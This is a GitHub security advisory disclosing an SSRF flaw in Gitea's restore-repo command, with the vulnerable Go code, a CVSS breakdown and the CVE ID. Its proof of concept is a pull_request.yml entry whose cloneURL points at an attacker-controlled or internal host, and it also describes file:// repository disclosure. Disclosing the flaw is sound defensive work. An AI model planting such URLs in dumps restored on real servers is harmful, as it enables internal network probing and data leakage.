Skip to content

SSRF in restore-repo via unsanitized pull_request.yml Head.CloneURL

Moderate
bircni published GHSA-xmj7-xj85-hfc3 Jul 13, 2026

Package

gomod code.gitea.io/gitea (Go)

Affected versions

<= 1.26.4

Patched versions

1.27.0

Description

Summary

Gitea's restore-repo CLI command restores a repository from a dump
directory/archive. When parsing pull_request.yml from that dump, the
Head.CloneURL field is used to add a git remote and fetch from it with
no validation, because the safety check that's supposed to guard it
(CheckAndEnsureSafePR) is called with an empty commonCloneBaseURL,
which silently disables it. This lets a malicious dump make the Gitea
server execute git fetch against an attacker-chosen URL (SSRF), or
disclose a local git repository via file://. This is a different root
cause from the recently fixed path-traversal issue in the same command
(#38215), which patched DownloadURL/PatchURL but not Head.CloneURL.

Details

services/migrations/restore.go's GetPullRequests() unmarshals
pull_request.yml directly into base.PullRequest structs with no
validation of Head.CloneURL:

err = yaml.Unmarshal(bs, &pulls)
...
for _, pr := range pulls {
    if pr.PatchURL != "" {
        pr.PatchURL = "file://" + util.FilePathJoinAbs(r.baseDir, pr.PatchURL)
    }
    CheckAndEnsureSafePR(pr, "", r)   // <-- empty baseURL
}

CheckAndEnsureSafePR (services/migrations/common.go) is supposed to
reject Head.CloneURL/PatchURL values that don't share a common base
URL:

func hasBaseURL(toCheck, baseURL string) bool {
    if len(baseURL) > 0 && baseURL[len(baseURL)-1] != '/' {
        baseURL += "/"
    }
    return strings.HasPrefix(toCheck, baseURL)
}

func CheckAndEnsureSafePR(pr *base.PullRequest, commonCloneBaseURL string, g base.Downloader) bool {
    valid := true
    if pr.PatchURL != "" && !hasBaseURL(pr.PatchURL, commonCloneBaseURL) {
        pr.PatchURL = ""
        valid = false
    }
    if pr.Head.CloneURL != "" && !hasBaseURL(pr.Head.CloneURL, commonCloneBaseURL) {
        pr.Head.CloneURL = ""
        valid = false
    }
    return valid
}

strings.HasPrefix(anything, "") is always true in Go. Because
restore.go is the only caller that passes "" as
commonCloneBaseURL, this check is a complete no-op on the restore-repo
path — Head.CloneURL survives unchanged regardless of its value. Every
other downloader (github.go, gitlab.go, gitea_downloader.go,
codebase.go, codecommit.go, onedev.go) passes a real base URL, so
they are not affected.

services/migrations/gitea_uploader.go then uses the unvalidated value
directly:

err := g.gitRepo.AddRemote(remote, pr.Head.CloneURL, true)
// ... later: fetch from that remote

resulting in the server executing git fetch against an
attacker-controlled URL sourced from the dump file.

RCE via git's ext:: transport helper was tested and ruled out — a
normal git install rejects it by default (fatal: transport 'ext' not allowed), independent of Gitea's own configuration. This report is
scoped to SSRF and local git-repository disclosure.

Confirmed present, byte-for-byte identical, in v1.26.4 (latest stable
tag), release/v1.27, and main, by direct checkout and diff.

PoC

  1. Create a dump directory following the normal restore-repo layout
    (repo.yml, etc.), and add a pull_request.yml containing at least
    one entry with:
   - number: 1
     head:
       cloneURL: "http://<attacker-controlled-or-internal-host>:<port>/ssrf-proof"
       ref: "main"
  1. Run gitea restore-repo against that dump directory for any repo
    owner.
  2. Observe on the target host/listener: an actual git HTTP
    discovery request arrives, e.g.
    GET /ssrf-proof/info/refs?service=git-upload-pack, driven entirely
    by the value from the dump file.

I verified the core mechanism (steps 2–3, i.e. the unvalidated
Head.CloneURL surviving CheckAndEnsureSafePR("") and then being used
in a real git remote add + git fetch) with a minimal, standalone Go
program built from the verbatim, unmodified hasBaseURL /
CheckAndEnsureSafePR function bodies (attached: gitea_ssrf_poc.go),
run end-to-end against a local HTTP listener. The listener's access log
confirms the request actually arrives. I was not able to compile and run
the full gitea binary / actual CLI end-to-end in my environment due to
network restrictions on the Go module proxy; the attached PoC exercises
the exact vulnerable code path rather than a reimplementation, but a
full CLI-level reproduction on your end may still be useful for triage.

Impact

An attacker who can get an administrator to run gitea restore-repo
against a malicious dump (the same threat model already accepted for the
just-fixed path-traversal issue in this command, #38215) can make the
Gitea server issue a git fetch against an arbitrary attacker-chosen
URL. This allows:

  • SSRF against internal-only services or cloud metadata endpoints
    reachable from the Gitea host.
  • Disclosure of local git repositories reachable via file:// paths
    readable by the Gitea process.

No public disclosure planned. Happy to provide further detail on
request.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

CVE ID

CVE-2026-58441

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits